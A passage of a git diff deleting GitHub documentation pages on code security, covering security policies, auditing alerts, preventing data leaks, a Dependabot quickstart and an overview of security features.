[https://github.com/electron/electron/blob/main/SECURITY.md](https://github.com/electron/electron/blob/main/SECURITY.md). - -## Adding a security policy to your repository - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-security %} -1. In the left sidebar, under "Reporting", click **{% octicon "law" aria-hidden="true" %} Policy**. -1. Click **Start setup**. -1. In the new `SECURITY.md` file, add information about supported versions of your project and how to report a vulnerability. -{% data reusables.files.write_commit_message %} -{% data reusables.files.choose-commit-email %} -{% data reusables.files.choose_commit_branch %} -{% data reusables.files.propose_file_change %} - -## Further reading - -* [AUTOTITLE](/code-security/getting-started/securing-your-repository) -* [AUTOTITLE](/communities/setting-up-your-project-for-healthy-contributions){% ifversion fpt or ghec %} -* [{% data variables.product.prodname_security %}]({% data variables.product.prodname_security_link %}){% endif %} diff --git a/content/code-security/getting-started/auditing-security-alerts.md b/content/code-security/getting-started/auditing-security-alerts.md deleted file mode 100644 index 4376e0fea1d3..000000000000 --- a/content/code-security/getting-started/auditing-security-alerts.md +++ /dev/null @@ -1,91 +0,0 @@ ---- -title: Auditing security alerts -intro: '{% data variables.product.prodname_dotcom %} provides a variety of tools you can use to audit and monitor actions taken in response to security alerts.' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -type: overview -topics: - - Repositories - - Dependencies - - Vulnerabilities - - Security - - Code Security - - Secret Protection -shortTitle: Audit security alerts ---- - -## About security tools for auditors - -{% data variables.product.prodname_dotcom %} provides tools for security auditors and developers to review and analyze responses to security alerts within an enterprise or organization. This guide describes the tools, which include historical timelines, security overview, audit logs, the API, and webhooks. - -Security auditors can use these tools to ensure the appropriate actions are being taken to resolve security alerts and to identify areas for additional training. Developers can use these tools to monitor and debug their own security alerts. You will only see data for repositories and organizations to which you already have access. - -## Security alert timelines - -Each security alert has a historical timeline that shows when the alert was created or when a problem was detected. When the status of an alert changes this is recorded on the timeline, regardless of what caused the change, for example, {% data variables.product.prodname_dependabot %} closing a fixed alert and a developer reopening an alert. You can see the historical timeline for an alert on the alert page under the description of the problem. - -Many of the events in the timeline also create an event in the audit log, which you can query using the audit log UI or the API. For more information, see [Audit log](/code-security/getting-started/auditing-security-alerts#audit-log). - -## Security overview page - -Security overview consolidates information about security alerts and provides high-level summaries of the security status of your enterprise or organization. - -In security overview you can see repositories with open security alerts{% ifversion ghec or ghes %}, as well as which repositories have enabled specific security features{% endif %}. You can also use security overview to filter and sort security alerts using interactive views. - -For more information, see [AUTOTITLE](/code-security/security-overview/about-security-overview). - -## Audit log - -You can access and search audit logs using the API or the audit log UI. The audit log lists events that are triggered by activities affecting your enterprise or organization, including events that are created when there are certain interactions with a security alert. Interactions that create an event can be triggered manually or by automation, for example, when {% data variables.product.prodname_dependabot %} creates an alert. - -* {% data variables.product.prodname_secret_scanning_caps %} events track when an alert is created, resolved, or reopened, also when push protection is bypassed. -* {% data variables.product.prodname_dependabot %} events track when an alert is created, dismissed, or resolved. -* {% data variables.product.prodname_code_scanning_caps %} does not create timeline events in an audit log. - -For a list of audit log events, see [AUTOTITLE](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/audit-log-events-for-your-enterprise) and [AUTOTITLE](/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/audit-log-events-for-your-organization). - -For information on how to access the audit log for your enterprise or organization, see [AUTOTITLE](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/accessing-the-audit-log-for-your-enterprise) and [AUTOTITLE](/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/reviewing-the-audit-log-for-your-organization). - -{% ifversion ghec or ghes %} - -You can also stream audit data from {% data variables.product.prodname_dotcom %} to an external data management system, which enables you to analyze and collect data for internal charts. Enterprise owners can configure audit log streaming. For more information, see [Streaming the audit log for your enterprise](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/streaming-the-audit-log-for-your-enterprise). - -{% endif %} - -## Webhooks - -You can set up `code_scanning_alert`, `dependabot_alert`, and `secret_scanning_alert` webhooks to receive payloads whenever there is a response to a security alert in an organization or repository. You can also define which responses to act on, for example, you might want to define a webhook that tracks {% data variables.product.prodname_secret_scanning %} alerts created when someone bypasses push protection using the alert property `"push_protection_bypassed": true`. - -You can also integrate webhook payloads into other tools you use to monitor and inform security behaviors. For example, a webhook fires when a secret alert is either created, resolved, {% ifversion secret-scanning-validity-check-partner-patterns %}revoked, reopened, or when a secret's validity status changes{% else %}or reopened{% endif %}. You can then parse the webhook payload and integrate it into tools your team uses like Slack, Microsoft Teams, Splunk, or email. For more information, see [About webhooks](/webhooks-and-events/webhooks/about-webhooks) and [Webhook events and payloads](/webhooks-and-events/webhooks/webhook-events-and-payloads). - -## API - -You can use the API to list and interact with security alerts, for example, getting the most recent information about updates or dismissals of an alert. You can also use the API to make additional updates to the alert or to automate follow-up actions, such as creating a new issue for each alert that needs further action. Only the current status of an alert is reported by the API. - -### {% data variables.product.prodname_dependabot %} alerts API - -You can list all {% data variables.product.prodname_dependabot %} alerts for a repository, organization, or enterprise, or use path parameters to list only alerts that meet a specific set of criteria. For example, you might only want to list {% data variables.product.prodname_dependabot %} alerts for Maven that were dismissed. Alternatively, you can get full details for an alert or update the alert. - -For more information, see [{% data variables.product.prodname_dependabot %} alerts](/rest/dependabot/alerts#about-dependabot-alerts). - -### {% data variables.product.prodname_secret_scanning_caps %} alerts API - -You can list all {% data variables.product.prodname_secret_scanning %} alerts for a repository, organization, or enterprise, or use path parameters to list only alerts that meet a specific set of criteria. Alternatively, you can get full details for an alert or update the alert. - -To see which {% data variables.product.prodname_secret_scanning %} alerts were the result of a push protection bypass, filter the results for `"push_protection_bypassed": true`. - -For more information, see [{% data variables.product.prodname_secret_scanning_caps %}](/rest/secret-scanning). - -### {% data variables.product.prodname_code_scanning_caps %} alerts API - -You can list all {% data variables.product.prodname_code_scanning %} alerts for a repository, organization, or enterprise, or use path parameters to list only alerts that meet a specific set of criteria. Alternatively, you can get full details for an alert or update the alert. - -For more information, see [{% data variables.product.prodname_code_scanning_caps %}](/rest/code-scanning). - -## Further reading - -* [AUTOTITLE](/code-security/code-scanning/managing-code-scanning-alerts/assessing-code-scanning-alerts-for-your-repository) -* [AUTOTITLE](/code-security/dependabot/dependabot-alerts/viewing-and-updating-dependabot-alerts) -* [AUTOTITLE](/code-security/secret-scanning/managing-alerts-from-secret-scanning) diff --git a/content/code-security/getting-started/best-practices-for-preventing-data-leaks-in-your-organization.md b/content/code-security/getting-started/best-practices-for-preventing-data-leaks-in-your-organization.md deleted file mode 100644 index be7a0aa4d4ff..000000000000 --- a/content/code-security/getting-started/best-practices-for-preventing-data-leaks-in-your-organization.md +++ /dev/null @@ -1,115 +0,0 @@ ---- -title: Best practices for preventing data leaks in your organization -intro: 'Learn guidance and recommendations to help you avoid private or sensitive data present in your organization from being exposed.' -versions: - fpt: '*' - ghec: '*' - ghes: '*' -type: how_to -topics: - - Organizations - - Vulnerabilities - - Secret scanning - - Secret Protection -shortTitle: Prevent data leaks ---- - -## About this guide - -As an organization owner, preventing exposure of private or sensitive data should be a top priority. Whether intentional or accidental, data leaks can cause substantial risk to the parties involved. While {% data variables.product.prodname_dotcom %} takes measures to help protect you against data leaks, you are also responsible for administering your organization to harden security. - -There are several key components when it comes to defending against data leaks: - -* Taking a proactive approach towards prevention -* Early detection of possible leaks -* Maintaining a mitigation plan when an incident occurs - -The best approach will depend on the type of organization you're managing. For example, an organization that focuses on open source development might require looser controls than a fully commercial organization, to allow for external collaboration. This article provide high level guidance on the {% data variables.product.prodname_dotcom %} features and settings to consider, which you should implement according to your needs. - -## Secure accounts - -Protect your organization's repositories and settings by implementing security best practices, including enabling 2FA and requiring it for all members, and establishing strong password guidelines. - -{% ifversion ghec %}- Enabling secure authentication processes by using SAML and SCIM integrations, as well as 2FA authentication whenever possible. For more information, see [AUTOTITLE](/organizations/managing-saml-single-sign-on-for-your-organization/about-identity-and-access-management-with-saml-single-sign-on), [AUTOTITLE](/organizations/managing-saml-single-sign-on-for-your-organization/about-scim-for-organizations), and [AUTOTITLE](/authentication/securing-your-account-with-two-factor-authentication-2fa). {% endif %} - -* Requiring organization members, outside collaborators, and billing managers to enable 2FA for their personal accounts, making it harder for malicious actors to access an organization's repositories and settings.{% ifversion ghec %} This is one step further from enabling secure authentication.{% endif %} For more information, see [AUTOTITLE](/organizations/keeping-your-organization-secure/managing-two-factor-authentication-for-your-organization/requiring-two-factor-authentication-in-your-organization). - -* Encouraging your users to create strong passwords and secure them appropriately, by following {% data variables.product.prodname_dotcom %}’s recommended password guidelines. For more information, see [AUTOTITLE](/authentication/keeping-your-account-and-data-secure/creating-a-strong-password).{% ifversion secret-scanning-push-protection-for-users %} - -* Encouraging your users to keep push protection for users enabled in their personal account settings, so that no matter which public repository they push to, they are protected. For more information, see [AUTOTITLE](/code-security/secret-scanning/working-with-secret-scanning-and-push-protection/push-protection-for-users).{% endif %} - -* Establishing an internal security policy in {% data variables.product.prodname_dotcom %}, so users know the appropriate steps to take and who to contact if an incident is suspected. For more information, see [AUTOTITLE](/code-security/getting-started/adding-a-security-policy-to-your-repository). - -For more detailed information about securing accounts, see [AUTOTITLE](/code-security/supply-chain-security/end-to-end-supply-chain/securing-accounts). - -## Prevent data leaks - -As an organization owner, you should limit and review access as appropriate for the type of your organization. Consider the following settings for tighter control: - -Recommendation | More information ------------------- | ----------------- -Disable the ability to fork repositories. | [AUTOTITLE](/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/managing-the-forking-policy-for-your-repository) -Disable changing repository visibility. | [AUTOTITLE](/organizations/managing-organization-settings/restricting-repository-visibility-changes-in-your-organization) -Restrict repository creation to private or internal. | [AUTOTITLE](/organizations/managing-organization-settings/restricting-repository-creation-in-your-organization) -Disable repository deletion and transfer. | [AUTOTITLE](/organizations/managing-organization-settings/setting-permissions-for-deleting-or-transferring-repositories) -| {% ifversion deploy-keys-enterprise-org-policy %} | -Disable the ability to use deploy keys. | [AUTOTITLE](/organizations/managing-organization-settings/restricting-deploy-keys-in-your-organization) -| {% endif %} | -Scope {% data variables.product.pat_generic %}s to the minimum permissions necessary. | None -Secure your code by converting public repositories to private whenever appropriate. You can alert the repository owners of this change automatically using a {% data variables.product.prodname_github_app %}. | [Prevent-Public-Repos](https://github.com/apps/prevent-public-repos) in {% data variables.product.prodname_marketplace %} -Confirm your organization’s identity by verifying your domain and restricting email notifications to only verified email domains. | [AUTOTITLE](/organizations/managing-organization-settings/verifying-or-approving-a-domain-for-your-organization){% ifversion ghec or ghes %} and [AUTOTITLE](/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/restricting-email-notifications-for-your-organization){% endif %}{% ifversion fpt or ghec %} -Ensure your organization has upgraded to the {% data variables.product.company_short %} Customer Agreement instead of using the Standard Terms of Service. | [AUTOTITLE](/organizations/managing-organization-settings/upgrading-to-the-github-customer-agreement){% endif %} -Prevent contributors from making accidental commits. | [AUTOTITLE](/authentication/keeping-your-account-and-data-secure/removing-sensitive-data-from-a-repository#avoiding-accidental-commits-in-the-future) - -## Detect data leaks - -No matter how well you tighten your organization to prevent data leaks, some may still occur, and you can respond by using {% data variables.product.prodname_secret_scanning %}, the audit log, and branch protection rules. - -### Use {% data variables.product.prodname_secret_scanning %} - -{% data variables.product.prodname_secret_scanning_caps %} helps secure code and keep secrets safe across organizations and repositories by scanning and detecting secrets that were accidentally committed over the full Git history of every branch in {% data variables.product.prodname_dotcom %} repositories. Any strings that match patterns {% ifversion fpt or ghec %}provided by secret scanning partners, by other service providers, or {% endif %}defined by you or your organization, are reported as alerts in the **Security** tab of repositories. - -{% ifversion fpt or ghec %} -There are two forms of {% data variables.product.prodname_secret_scanning %} available: **{% data variables.secret-scanning.partner_alerts_caps %}** and **{% data variables.secret-scanning.user_alerts_caps %}**. - -* {% data variables.secret-scanning.partner_alerts_caps %}: These are enabled by default and automatically run on all public repositories and public npm packages. -* {% data variables.secret-scanning.user_alerts_caps %}: To get additional scanning capabilities for your organization, you need to enable {% data variables.secret-scanning.user_alerts %}. - - When enabled, {% data variables.secret-scanning.user_alerts %} can be detected on the following types of repository:{% ifversion fpt %} - * Public repositories owned by personal accounts on {% data variables.product.prodname_dotcom_the_website %} - * Public repositories owned by organizations - * Private and internal repositories owned by organizations using {% ifversion ghas-products-cloud %}{% data variables.product.prodname_team %} or {% endif %}{% data variables.product.prodname_ghe_cloud %}, with a license for {% data variables.product.prodname_GH_code_security %}{% elsif ghec %} - * Public repositories owned by organizations that use {% data variables.product.prodname_ghe_cloud %} - * Private and internal repositories when you have a license for {% data variables.product.prodname_GH_code_security %}{% endif %} -{% endif %} - -{% ifversion ghes %}Your site administrator must enable {% data variables.product.prodname_secret_scanning %} for your instance before you can use this feature. For more information, see [AUTOTITLE](/admin/code-security/managing-github-advanced-security-for-your-enterprise/configuring-secret-scanning-for-your-appliance).{% endif %} - -For more information about {% data variables.product.prodname_secret_scanning %}, see [AUTOTITLE](/code-security/secret-scanning/introduction/about-secret-scanning). - -{% data reusables.secret-scanning.push-protection-high-level %} For more information, see [AUTOTITLE](/code-security/secret-scanning/protecting-pushes-with-secret-scanning).{% ifversion ghec or ghes %} Finally, you can also extend the detection to include custom secret string structures. For more information, see [AUTOTITLE](/code-security/secret-scanning/using-advanced-secret-scanning-and-push-protection-features/custom-patterns/defining-custom-patterns-for-secret-scanning).{% endif %} - -### Review the audit log for your organization - -You can also proactively secure IP and maintain compliance for your organization by leveraging your organization's audit log, along with the GraphQL Audit Log API. For more information, see [AUTOTITLE](/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/reviewing-the-audit-log-for-your-organization) and [AUTOTITLE](/graphql/reference/interfaces#auditentry). - -### Set up branch protection rules - -To ensure that all code is properly reviewed prior to being merged into the default branch, you can enable branch protection. By setting branch protection rules, you can enforce certain workflows or requirements before a contributor can push changes. For more information, see [AUTOTITLE](/repositories/configuring-branches-and-merges-in-your-repository/managing-protected-branches/about-protected-branches). - -{% data reusables.repositories.rulesets-alternative %} - -## Mitigate data leaks - -If a user pushes sensitive data, ask them to remove it by using the `git filter-repo` tool. For more information, see [AUTOTITLE](/authentication/keeping-your-account-and-data-secure/removing-sensitive-data-from-a-repository). Also, if the sensitive data has not been pushed yet, you can just undo those changes locally; for more information, see [{% data variables.product.prodname_blog %}](https://github.blog/2015-06-08-how-to-undo-almost-anything-with-git/) (but note that `git revert` is not a valid way to undo the addition of sensitive data as it leaves the original sensitive commit in Git history). - -If you're unable to coordinate directly with the repository owner to remove data that you're confident you own, you can fill out a DMCA takedown notice form and tell GitHub Support. Make sure to include the problematic commit hashes. For more information, see [DMCA takedown notice](https://support.github.com/contact/dmca-takedown). - -> [!NOTE] -> If one of your repositories has been taken down due to a false claim, you should fill out a DMCA -counter notice form and alert GitHub Support. For more information, see [DMCA counter notice](https://support.github.com/contact/dmca-counter-notice). - -## Next steps - -* [AUTOTITLE](/code-security/supply-chain-security/end-to-end-supply-chain/securing-code) -* [AUTOTITLE](/code-security/supply-chain-security/end-to-end-supply-chain/securing-builds) diff --git a/content/code-security/getting-started/dependabot-quickstart-guide.md b/content/code-security/getting-started/dependabot-quickstart-guide.md deleted file mode 100644 index f1bd749b2e4f..000000000000 --- a/content/code-security/getting-started/dependabot-quickstart-guide.md +++ /dev/null @@ -1,137 +0,0 @@ ---- -title: Dependabot quickstart guide -intro: 'Find and fix vulnerable dependencies you rely on with {% data variables.product.prodname_dependabot %}.' -product: '{% data reusables.gated-features.dependabot-alerts %}' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -type: quick_start -topics: - - Dependabot - - Alerts - - Vulnerabilities - - Repositories - - Dependencies -shortTitle: Dependabot quickstart ---- - -## About {% data variables.product.prodname_dependabot %} - -This quickstart guide walks you through setting up and enabling {% data variables.product.prodname_dependabot %}, viewing {% data variables.product.prodname_dependabot_alerts %}, and updating your repository to use a secure version of the dependency. - -{% data reusables.dependabot.dependabot-overview %} - -## Prerequisites - -{% ifversion ghes %} -Before you can use the {% data variables.product.prodname_dependabot_alerts %} feature in {% data variables.product.github %}, you must ensure that your enterprise administrator enables {% data variables.product.prodname_dependabot %} for the instance. For more information, see [AUTOTITLE](/admin/configuration/configuring-github-connect/enabling-dependabot-for-your-enterprise#enabling-dependabot-alerts). -{% endif %} - -For the purpose of this guide, we're going to use a demo repository to illustrate how {% data variables.product.prodname_dependabot %} finds vulnerabilities in dependencies, where you can see {% data variables.product.prodname_dependabot_alerts %} on {% data variables.product.prodname_dotcom %}, and how you can explore, fix, or dismiss these alerts. - -You need to start by forking the demo repository. - -1. Navigate to [https://github.com/dependabot/demo](https://github.com/dependabot/demo). -1. At the top of the page, on the right, click **{% octicon "repo-forked" aria-hidden="true" %} Fork**. -1. Select an owner (you can select your {% data variables.product.prodname_dotcom %} personal account) and type a repository name. For more information about forking repositories, see [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/working-with-forks/fork-a-repo#forking-a-repository). -1. Click **Create fork**. - -## Enabling {% data variables.product.prodname_dependabot %} for your repository - -You need to follow the steps below on the repository you forked in [Prerequisites](#prerequisites). - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-settings %} -{% data reusables.repositories.navigate-to-code-security-and-analysis %} -1. Under "{% data variables.product.UI_advanced_security %}", to the right of {% data variables.product.prodname_dependabot_alerts %}, click **Enable** for {% data variables.product.prodname_dependabot_alerts %}, {% data variables.product.prodname_dependabot_security_updates %}, and {% data variables.product.prodname_dependabot_version_updates %}. -1. Optionally, if you are interested in experimenting with {% data variables.product.prodname_dependabot_version_updates %}, click **.github/dependabot.yml**. This will create a default `dependabot.yml` configuration file in the `/.github` directory of your repository. To enable {% data variables.product.prodname_dependabot_version_updates %} for your repository, you typically configure this file to suit your needs by editing the default file, and committing your changes. You can refer to the snippet provided in [AUTOTITLE](/code-security/dependabot/dependabot-version-updates/configuring-dependabot-version-updates#example-dependabotyml-file) for an example. - -> [!NOTE] -> If the dependency graph is not already enabled for the repository, {% data variables.product.prodname_dotcom %} will enable it automatically when you enable {% data variables.product.prodname_dependabot %}. - -For more information about configuring each of these {% data variables.product.prodname_dependabot %} features, see [AUTOTITLE](/code-security/dependabot/dependabot-alerts/configuring-dependabot-alerts), [AUTOTITLE](/code-security/dependabot/dependabot-security-updates/configuring-dependabot-security-updates), and [AUTOTITLE](/code-security/dependabot/dependabot-version-updates/configuring-dependabot-version-updates). - -## Viewing {% data variables.product.prodname_dependabot_alerts %} for your repository - -If {% data variables.product.prodname_dependabot_alerts %} are enabled for a repository, you can view {% data variables.product.prodname_dependabot_alerts %} on the "Security" tab for the repository. You can use the forked repository that you enabled {% data variables.product.prodname_dependabot_alerts %} on in the previous section. - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-security %} -{% data reusables.repositories.sidebar-dependabot-alerts %} -1. Review the open alerts on the {% data variables.product.prodname_dependabot_alerts %} page. By default, the page displays the **Open** tab, listing the open alerts. (You'll be able to view any closed alerts by clicking **Closed**.) - - ![Screenshot showing the list of Dependabot alerts for the demo repository.](/assets/images/help/repository/dependabot-alerts-list-demo-repo.png) - - You can filter {% data variables.product.prodname_dependabot_alerts %} in the list, using a variety of filters or labels. For more information, see [AUTOTITLE](/code-security/dependabot/dependabot-alerts/viewing-and-updating-dependabot-alerts#prioritizing-dependabot-alerts). You can also use {% data variables.dependabot.auto_triage_rules %} to filter out false positive alerts or alerts you're not interested in. For more information, see [AUTOTITLE](/code-security/dependabot/dependabot-auto-triage-rules/about-dependabot-auto-triage-rules). - -1. Click the "Command Injection in lodash" alert on the `javascript/package-lock.json` file. The details page for the alert will show the following information (note that some information may not apply to all alerts): - * Whether {% data variables.product.prodname_dependabot %} created a pull request that will fix the vulnerability. You can review the suggested security update by clicking **Review security update**. - * Package involved - * Affected versions - * Patched version - * Brief description of the vulnerability - - ![Screenshot of the detailed page of an alert in the demo repository, showing the main information.](/assets/images/help/repository/alert-details-page-demo-repo.png) - -1. Optionally, you can also explore the information on the right-side of the page. Some of the information shown in the screenshot may not apply to every alert. - * Severity - * CVSS metrics: We use CVSS levels to assign severity levels. For more information, see [AUTOTITLE](/code-security/security-advisories/working-with-global-security-advisories-from-the-github-advisory-database/about-the-github-advisory-database#about-cvss-levels). - * Tags - * Weaknesses: List of CWEs related to the vulnerability, if applicable - * CVE ID: Unique CVE identifier for the vulnerability, if applicable - * GHSA ID: Unique identifier of the corresponding advisory on the {% data variables.product.prodname_advisory_database %}. For more information, see [AUTOTITLE](/code-security/security-advisories/working-with-global-security-advisories-from-the-github-advisory-database/about-the-github-advisory-database#about-ghsa-ids). - * Option to navigate to the advisory on the {% data variables.product.prodname_advisory_database %} - * Option to see all of your repositories that are affected by this vulnerability - * Option to suggest improvements for this advisory on the {% data variables.product.prodname_advisory_database %} - - ![Screenshot of the detailed page of an alert in the demo repository, showing the information displayed on the right-side of the page.](/assets/images/help/repository/more-alert-details-demo-repo.png) - -For more information about viewing, prioritizing, and sorting {% data variables.product.prodname_dependabot_alerts %}, see [AUTOTITLE](/code-security/dependabot/dependabot-alerts/viewing-and-updating-dependabot-alerts). - -## Fixing or dismissing a {% data variables.product.prodname_dependabot %} alert - -You can fix or dismiss {% data variables.product.prodname_dependabot_alerts %} on {% data variables.product.prodname_dotcom %}. Let's continue to use the forked repository as an example, and the "Command Injection in lodash" alert described in the previous section. - -1. Navigate to the {% data variables.product.prodname_dependabot_alerts %} tab for the repository. For more information, see the [Viewing {% data variables.product.prodname_dependabot_alerts %} for your repository](#viewing-dependabot-alerts-for-your-repository) section above. -1. Click an alert. -1. Click the "Command Injection in lodash" alert on the `javascript/package-lock.json` file. -1. Review the alert. You can: - * Review the suggested security update by clicking **Review security update**. This will open the pull request generated by {% data variables.product.prodname_dependabot %} with the security fix. - - ![Screenshot of the pull request generated by {% data variables.product.prodname_dependabot %} to fix the security vulnerability highlighted by the selected alert.](/assets/images/help/repository/dependabot-pull-request-demo-repo.png) - - * On the pull request description, you can click **Commits** to explore the commits included in the pull request. - * You can also click **{% data variables.product.prodname_dependabot %} commands and options** to learn about the commands that you can use to interact with the pull request. - * When you're ready to update your dependency and resolve the vulnerability, merge the pull request. - * If you decide that you want to dismiss the alert - * Go back to the alert details page. - * On the top-right corner, click **Dismiss alert**. - - ![Screenshot of the alert details page with the **Dismiss alert** button, dropdown menu options, and dismissal comment box outlined in orange.](/assets/images/help/repository/dismiss-alert-demo-repo.png) - - * Select a reason for dismissing the alert. - * Optionally, add a dismissal comment. The dismissal comment will be added to the alert timeline and can be used as justification during auditing and reporting. - * Click **Dismiss alert**. The alert won't appear anymore in the **Open** tab of the alert list, and you are able to view it in the **Closed** tab. - -For more information about reviewing and updating {% data variables.product.prodname_dependabot_alerts %}, see [AUTOTITLE](/code-security/dependabot/dependabot-alerts/viewing-and-updating-dependabot-alerts#reviewing-and-fixing-alerts). - -## Troubleshooting - -You may need to do some troubleshooting if: -* {% data variables.product.prodname_dependabot %} is blocked from creating a pull request to fix an alert, or -* The information reported by {% data variables.product.prodname_dependabot %} is not what you expect. - -For more information, see [AUTOTITLE](/code-security/dependabot/troubleshooting-dependabot/troubleshooting-dependabot-errors) and [AUTOTITLE](/code-security/dependabot/troubleshooting-dependabot/troubleshooting-the-detection-of-vulnerable-dependencies), respectively. - -## Next steps - -For more information about configuring {% data variables.product.prodname_dependabot %} updates, see [AUTOTITLE](/code-security/dependabot/dependabot-security-updates/configuring-dependabot-security-updates) and [AUTOTITLE](/code-security/dependabot/dependabot-version-updates/configuring-dependabot-version-updates). - -For more information about configuring {% data variables.product.prodname_dependabot %} for an organization, see [AUTOTITLE](/code-security/dependabot/dependabot-alerts/configuring-dependabot-alerts#managing-dependabot-alerts-for-your-organization). - -For more information about viewing pull requests opened by {% data variables.product.prodname_dependabot %}, see [AUTOTITLE](/code-security/dependabot/working-with-dependabot/managing-pull-requests-for-dependency-updates#viewing-dependabot-pull-requests). - -For more information about the security advisories that contribute to {% data variables.product.prodname_dependabot_alerts %}, see [AUTOTITLE](/code-security/security-advisories/working-with-global-security-advisories-from-the-github-advisory-database/browsing-security-advisories-in-the-github-advisory-database). - -For more information about configuring notifications about {% data variables.product.prodname_dependabot_alerts %}, see [AUTOTITLE](/code-security/dependabot/dependabot-alerts/configuring-notifications-for-dependabot-alerts). diff --git a/content/code-security/getting-started/github-security-features.md b/content/code-security/getting-started/github-security-features.md deleted file mode 100644 index 7e28e94d4dca..000000000000 --- a/content/code-security/getting-started/github-security-features.md +++ /dev/null @@ -1,144 +0,0 @@ ---- -title: GitHub security features -intro: 'An overview of {% data variables.product.prodname_dotcom %} security features.' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -type: overview -topics: - - Repositories - - Dependencies - - Vulnerabilities - - Code Security - - Secret Protection ---- - -## About {% data variables.product.prodname_dotcom %}'s security features - -{% data variables.product.prodname_dotcom %} has security features that help keep code and secrets secure in repositories and across organizations. {% data reusables.advanced-security.security-feature-availability %} - -The {% data variables.product.prodname_advisory_database %} contains a curated list of security vulnerabilities that you can view, search, and filter. {% data reusables.security-advisory.link-browsing-advisory-db %} - -## Available for all repositories - -### Security policy - -Make it easy for your users to confidentially report security vulnerabilities they've found in your repository. For more information, see [AUTOTITLE](/code-security/getting-started/adding-a-security-policy-to-your-repository). - -### {% data variables.product.prodname_dependabot_alerts %} and security updates - -View alerts about dependencies that are known to contain security vulnerabilities, and choose whether to have pull requests generated automatically to update these dependencies. For more information, see [AUTOTITLE](/code-security/dependabot/dependabot-alerts/about-dependabot-alerts) -and [AUTOTITLE](/code-security/dependabot/dependabot-security-updates/about-dependabot-security-updates). - -You can use default {% data variables.dependabot.auto_triage_rules %} curated by {% data variables.product.prodname_dotcom %} to automatically filter out a substantial amount of false positives. {% data reusables.dependabot.dismiss-low-impact-rule %} - -{% data reusables.dependabot.quickstart-link %} - -### {% data variables.product.prodname_dependabot_version_updates %} - -Use {% data variables.product.prodname_dependabot %} to automatically raise pull requests to keep your dependencies up-to-date. This helps reduce your exposure to older versions of dependencies. Using newer versions makes it easier to apply patches if security vulnerabilities are discovered, and also makes it easier for {% data variables.product.prodname_dependabot_security_updates %} to successfully raise pull requests to upgrade vulnerable dependencies. You can also customize {% data variables.product.prodname_dependabot_version_updates %} to streamline their integration into your repositories. For more information, see [AUTOTITLE](/code-security/dependabot/dependabot-version-updates/about-dependabot-version-updates). - -### Dependency graph - -The dependency graph allows you to explore the ecosystems and packages that your repository depends on and the repositories and packages that depend on your repository. - -You can find the dependency graph on the **Insights** tab for your repository. For more information, see [AUTOTITLE](/code-security/supply-chain-security/understanding-your-software-supply-chain/about-the-dependency-graph). - -{% data reusables.dependency-graph.sbom-export %} - -{% ifversion security-overview-displayed-alerts %} - -### Security overview - -Security overview allows you to review the overall security landscape of your organization, view trends and other insights, and manage security configurations, making it easy to monitor your organization's security status and identify the repositories and organizations at greatest risk. For more information, see [AUTOTITLE](/code-security/security-overview/about-security-overview). - -{% else %} - -### Security overview for repositories - -Security overview shows which security features are enabled for the repository, and lets you configure any available security features that are not already enabled. -{% endif %} - -{% ifversion fpt or ghec %} - -## Available for free public repositories - -{% ifversion fpt or ghec %} - -### Security advisories - -Privately discuss and fix security vulnerabilities in your repository's code. You can then publish a security advisory to alert your community to the vulnerability and encourage community members to upgrade. For more information, see [AUTOTITLE](/code-security/security-advisories/working-with-repository-security-advisories/about-repository-security-advisories). - -{% endif %} - -### {% data variables.secret-scanning.user_alerts_caps %} - -Automatically detect tokens or credentials that have been checked into a {% ifversion ghec %}user-owned {% endif %}public repository. You can view alerts for any secrets that {% data variables.product.company_short %} finds in your code, in the **Security** tab of the repository, so that you know which tokens or credentials to treat as compromised. For more information, see [AUTOTITLE](/code-security/secret-scanning/managing-alerts-from-secret-scanning/about-alerts#about-user-alerts). - -{% ifversion secret-scanning-push-protection-for-users %} - -### Push protection for users - -Push protection for users automatically protects you from accidentally committing secrets to public repositories, regardless of whether the repository itself has {% data variables.product.prodname_secret_scanning %} enabled. Push protection for users is on by default, but you can disable the feature at any time through your personal account settings. For more information, see [AUTOTITLE](/code-security/secret-scanning/working-with-secret-scanning-and-push-protection/push-protection-for-users). - -{% endif %} - -### {% data variables.secret-scanning.partner_alerts_caps %} - -Automatically detect leaked secrets across all public repositories, as well as public npm packages. {% data variables.product.company_short %} informs the relevant service provider that the secret may be compromised. For details of the supported secrets and service providers, see [AUTOTITLE](/code-security/secret-scanning/introduction/supported-secret-scanning-patterns#supported-secrets). - -{% endif %} - -## Available with {% data variables.product.prodname_GH_advanced_security %} - -{% ifversion fpt %} -The following {% data variables.product.prodname_GH_advanced_security %} features are available and free of charge for public repositories on {% data variables.product.prodname_dotcom %}. Organizations that use {% data variables.product.prodname_ghe_cloud %} with a license for {% data variables.product.prodname_GH_advanced_security %} can use the full set of features in any of their repositories. For a list of the features available with {% data variables.product.prodname_ghe_cloud %}, see the [{% data variables.product.prodname_ghe_cloud %} documentation](/enterprise-cloud@latest/code-security/getting-started/github-security-features#available-with-github-advanced-security). - -{% elsif ghec %} -Many {% data variables.product.prodname_GH_advanced_security %} features are available and free of charge for public repositories on {% data variables.product.prodname_dotcom %}. Organizations within an enterprise that have a {% data variables.product.prodname_GH_advanced_security %} license can use the following features on all their repositories. {% data reusables.advanced-security.more-info-ghas %} - -{% elsif ghes %} -{% data variables.product.prodname_GH_advanced_security %} features are available for enterprises with a license for {% data variables.product.prodname_GH_advanced_security %}. The features are restricted to repositories owned by an organization. {% data reusables.advanced-security.more-info-ghas %} - -{% endif %} - -{% ifversion copilot-chat-ghas-alerts %} - -With a {% data variables.product.prodname_copilot_enterprise %} license, you can also ask {% data variables.product.prodname_copilot_chat %} for help to better understand security alerts in repositories in your organization from {% data 